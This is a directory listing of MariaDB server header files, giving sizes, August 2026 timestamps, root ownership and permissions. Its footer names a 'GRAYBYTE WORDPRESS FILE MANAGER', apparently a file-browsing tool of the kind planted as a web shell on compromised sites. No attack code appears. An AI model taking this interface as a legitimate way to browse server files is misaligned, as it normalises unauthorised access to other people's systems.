10.17 KB
19 Aug 2026 6.22 AM
root / root
0644
my_tree.h
3.897 KB
19 Aug 2026 6.22 AM
root / root
0644
my_uctype.h
67.898 KB
19 Aug 2026 6.22 AM
root / root
0644
my_user.h
1.1 KB
19 Aug 2026 6.22 AM
root / root
0644
my_virtual_mem.h
1.226 KB
19 Aug 2026 6.22 AM
root / root
0644
myisam.h
17.096 KB
19 Aug 2026 6.22 AM
root / root
0644
myisamchk.h
4.623 KB
19 Aug 2026 6.22 AM
root / root
0644
myisammrg.h
4.782 KB
19 Aug 2026 6.22 AM
root / root
0644
myisampack.h
14.579 KB
19 Aug 2026 6.22 AM
root / root
0644
mysqld.h
40.259 KB
19 Aug 2026 6.22 AM
root / root
0644
mysqld_default_groups.h
0.199 KB
19 Aug 2026 6.22 AM
root / root
0644
mysqld_suffix.h
1.173 KB
19 Aug 2026 6.22 AM
root / root
0644
mysys_err.h
2.951 KB
19 Aug 2026 6.22 AM
root / root
0644
opt_histogram_json.h
4.529 KB
19 Aug 2026 6.22 AM
root / root
0644
opt_range.h
64.358 KB
19 Aug 2026 6.22 AM
root / root
0644
opt_subselect.h
14.204 KB
19 Aug 2026 6.22 AM
root / root
0644
opt_trace.h
9.282 KB
19 Aug 2026 6.22 AM
root / root
0644
opt_trace_context.h
3.214 KB
19 Aug 2026 6.22 AM
root / root
0644
parse_file.h
4.32 KB
19 Aug 2026 6.22 AM
root / root
0644
partition_element.h
5.301 KB
19 Aug 2026 6.22 AM
root / root
0644
partition_info.h
19.398 KB
19 Aug 2026 6.22 AM
root / root
0644
password.h
1.583 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_file_provider.h
3.079 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_idle_provider.h
1.353 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_memory_provider.h
1.588 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_metadata_provider.h
1.854 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_socket_provider.h
2.205 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_stage_provider.h
1.52 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_statement_provider.h
4.245 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_table_provider.h
2.563 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_thread_provider.h
5.43 KB
19 Aug 2026 6.22 AM
root / root
0644
pfs_transaction_provider.h
2.779 KB
19 Aug 2026 6.22 AM
root / root
0644
privilege.h
28.177 KB
19 Aug 2026 6.22 AM
root / root
0644
probes_mysql.h
0.95 KB
19 Aug 2026 6.22 AM
root / root
0644
probes_mysql_nodtrace.h
5.944 KB
19 Aug 2026 9.00 AM
root / root
0644
procedure.h
6.659 KB
19 Aug 2026 6.22 AM
root / root
0644
protocol.h
12.243 KB
19 Aug 2026 6.22 AM
root / root
0644
proxy_protocol.h
0.535 KB
19 Aug 2026 6.22 AM
root / root
0644
queues.h
3.396 KB
19 Aug 2026 6.22 AM
root / root
0644
records.h
3.073 KB
19 Aug 2026 6.22 AM
root / root
0644
repl_failsafe.h
1.548 KB
19 Aug 2026 6.22 AM
root / root
0644
replication.h
15.752 KB
19 Aug 2026 6.22 AM
root / root
0644
rijndael.h
1.671 KB
19 Aug 2026 6.22 AM
root / root
0644
rowid_filter.h
15.111 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_constants.h
3.278 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_filter.h
4.662 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_gtid.h
29.282 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_injector.h
9.396 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_mi.h
16.246 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_parallel.h
17.801 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_record.h
1.548 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_record_old.h
1.374 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_reporting.h
3.626 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_rli.h
35.225 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_tblmap.h
3.103 KB
19 Aug 2026 6.22 AM
root / root
0644
rpl_utility.h
9.57 KB
19 Aug 2026 6.22 AM
root / root
0644
scheduler.h
3.124 KB
19 Aug 2026 6.22 AM
root / root
0644
scope.h
4.29 KB
19 Aug 2026 6.22 AM
root / root
0644
select_handler.h
2.176 KB
19 Aug 2026 6.22 AM
root / root
0644
semisync.h
2.233 KB
19 Aug 2026 6.22 AM
root / root
0644
semisync_master.h
25.16 KB
19 Aug 2026 6.22 AM
root / root
0644
semisync_master_ack_receiver.h
8.505 KB
19 Aug 2026 6.22 AM
root / root
0644
semisync_slave.h
3.648 KB
19 Aug 2026 6.22 AM
root / root
0644
service_versions.h
2.231 KB
19 Aug 2026 6.22 AM
root / root
0644
session_tracker.h
13.94 KB
19 Aug 2026 6.22 AM
root / root
0644
set_var.h
16.925 KB
19 Aug 2026 6.22 AM
root / root
0644
slave.h
12.102 KB
19 Aug 2026 6.22 AM
root / root
0644
socketpair.h
0.822 KB
19 Aug 2026 6.22 AM
root / root
0644
source_revision.h
0.065 KB
19 Aug 2026 6.22 AM
root / root
0644
sp.h
22.059 KB
19 Aug 2026 6.22 AM
root / root
0644
sp_cache.h
1.989 KB
19 Aug 2026 6.22 AM
root / root
0644
sp_head.h
63.396 KB
19 Aug 2026 6.22 AM
root / root
0644
sp_pcontext.h
24.831 KB
19 Aug 2026 6.22 AM
root / root
0644
sp_rcontext.h
14.103 KB
19 Aug 2026 6.22 AM
root / root
0644
span.h
3.839 KB
19 Aug 2026 6.22 AM
root / root
0644
spatial.h
22.166 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_acl.h
13.835 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_admin.h
2.847 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_alloc.h
1.691 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_alter.h
15.034 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_analyse.h
10.793 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_analyze_stmt.h
12.386 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_array.h
6.697 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_audit.h
13.83 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_base.h
25.439 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_basic_types.h
9.3 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_binlog.h
0.874 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_bitmap.h
7.658 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_bootstrap.h
1.77 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_cache.h
21.168 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_callback.h
1.506 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_class.h
265.465 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_cmd.h
5.822 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_command.h
4.688 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_connect.h
3.991 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_const.h
11.357 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_crypt.h
1.403 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_cte.h
16.107 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_cursor.h
4.324 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_db.h
2.381 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_debug.h
5.593 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_delete.h
1.312 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_derived.h
1.259 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_digest.h
3.729 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_digest_stream.h
1.53 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_do.h
0.932 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_error.h
38.909 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_explain.h
29.608 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_expression_cache.h
4.257 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_get_diagnostics.h
7.698 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_handler.h
2.842 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_help.h
0.972 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_hset.h
3.321 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_i_s.h
8.288 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_insert.h
5.052 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_join_cache.h
47.519 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_lex.h
170.831 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_lifo_buffer.h
9.458 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_limit.h
3.112 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_list.h
21.866 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_load.h
1.246 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_locale.h
2.638 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_manager.h
0.938 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_mode.h
6.577 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_parse.h
8.76 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_partition.h
12.377 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_partition_admin.h
5.801 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_plist.h
7.53 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_plugin.h
7.399 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_plugin_compat.h
2.185 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_prepare.h
11.142 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_priv.h
18.094 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_profile.h
7.633 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_reload.h
1.012 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_rename.h
0.959 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_repl.h
2.974 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_schema.h
3.226 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_select.h
87.64 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_sequence.h
5.056 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_servers.h
1.735 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_show.h
9.589 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_signal.h
3.283 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_sort.h
21.449 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_statistics.h
16.117 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_string.h
38.095 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_table.h
9.582 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_test.h
2.603 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_time.h
8.306 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_trigger.h
12.043 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_truncate.h
2.03 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_tvc.h
2.361 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type.h
290.305 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_fixedbin.h
64.041 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_fixedbin_storage.h
5.339 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_geom.h
18.593 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_int.h
9.767 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_json.h
6.011 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_real.h
1.228 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_type_string.h
1.591 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_udf.h
4.736 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_union.h
1.043 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_update.h
1.878 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_view.h
2.412 KB
19 Aug 2026 6.22 AM
root / root
0644
sql_window.h
6.654 KB
19 Aug 2026 6.22 AM
root / root
0644
ssl_compat.h
3.301 KB
19 Aug 2026 6.22 AM
root / root
0644
strfunc.h
2.489 KB
19 Aug 2026 6.22 AM
root / root
0644
structs.h
28.767 KB
19 Aug 2026 6.22 AM
root / root
0644
sys_vars_shared.h
2.665 KB
19 Aug 2026 6.22 AM
root / root
0644
t_ctype.h
5.507 KB
19 Aug 2026 6.22 AM
root / root
0644
table.h
116.22 KB
19 Aug 2026 6.22 AM
root / root
0644
table_cache.h
4.133 KB
19 Aug 2026 6.22 AM
root / root
0644
thr_alarm.h
2.863 KB
19 Aug 2026 6.22 AM
root / root
0644
thr_lock.h
7.178 KB
19 Aug 2026 6.22 AM
root / root
0644
thr_malloc.h
1.174 KB
19 Aug 2026 6.22 AM
root / root
0644
thr_timer.h
1.526 KB
19 Aug 2026 6.22 AM
root / root
0644
thread_cache.h
5.767 KB
19 Aug 2026 6.22 AM
root / root
0644
threadpool.h
4.697 KB
19 Aug 2026 6.22 AM
root / root
0644
threadpool_generic.h
3.876 KB
19 Aug 2026 6.22 AM
root / root
0644
threadpool_winsockets.h
2.236 KB
19 Aug 2026 6.22 AM
root / root
0644
transaction.h
1.432 KB
19 Aug 2026 6.22 AM
root / root
0644
tzfile.h
4.896 KB
19 Aug 2026 6.22 AM
root / root
0644
tztime.h
3.317 KB
19 Aug 2026 6.22 AM
root / root
0644
uniques.h
4.118 KB
19 Aug 2026 6.22 AM
root / root
0644
unireg.h
7.541 KB
19 Aug 2026 6.22 AM
root / root
0644
vers_string.h
2.483 KB
19 Aug 2026 6.22 AM
root / root
0644
violite.h
9.723 KB
19 Aug 2026 6.22 AM
root / root
0644
waiting_threads.h
4.426 KB
19 Aug 2026 6.22 AM
root / root
0644
welcome_copyright_notice.h
1.189 KB
19 Aug 2026 6.22 AM
root / root
0644
win_tzname_data.h
6.354 KB
19 Aug 2026 6.22 AM
root / root
0644
winservice.h
5.878 KB
19 Aug 2026 6.22 AM
root / root
0644
wqueue.h
1.528 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep.h
3.23 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_allowlist_service.h
1.011 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_applier.h
2.64 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_binlog.h
3.468 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_client_service.h
2.541 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_client_state.h
1.529 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_condition_variable.h
1.449 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_high_priority_service.h
4.797 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_mutex.h
1.21 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_mysqld.h
21.49 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_mysqld_c.h
1.198 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_on.h
1.678 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_priv.h
1.596 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_schema.h
5.748 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_server_service.h
3.546 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_server_state.h
2.47 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_sst.h
3.858 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_status.h
1.773 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_storage_service.h
1.767 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_thd.h
11.218 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_trans_observer.h
17.748 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_types.h
1.084 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_utils.h
10.011 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_var.h
4.504 KB
19 Aug 2026 6.22 AM
root / root
0644
wsrep_xid.h
1.474 KB
19 Aug 2026 6.22 AM
root / root
0644
xa.h
1.802 KB
19 Aug 2026 6.22 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF